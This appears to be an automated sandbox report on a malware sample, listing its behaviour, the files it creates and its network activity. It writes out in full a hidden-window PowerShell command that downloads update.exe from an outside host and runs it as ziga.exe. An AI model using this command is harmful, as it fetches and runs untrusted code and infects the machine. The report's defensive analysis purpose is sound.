Technical Information
Malicious functions
Downloads and executes
- http://pflanzencenter-dinslage.de/update.exe as %temp%\ziga.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://pflanzencenter-dinslage.de/update.exe','%TMP%\ziga.exe');Start-Process '%TMP%\ziga.exe';
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1924
Modifies file system
Creates the following files
- %TEMP%\1263748.cvr
Network activity
Connects to
- 'pf######center-dinslage.de':80
- 'pf######center-dinslage.de':443
TCP
HTTP GET requests
- http://pf######center-dinslage.de/update.exe
Other
- 'pf######center-dinslage.de':443
UDP
- DNS ASK pf######center-dinslage.de
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://pflanzencenter-dinslage.de/update.exe','%TMP%\ziga.exe');Start-Process '%TMP%\ziga.exe';' (with hidden window)
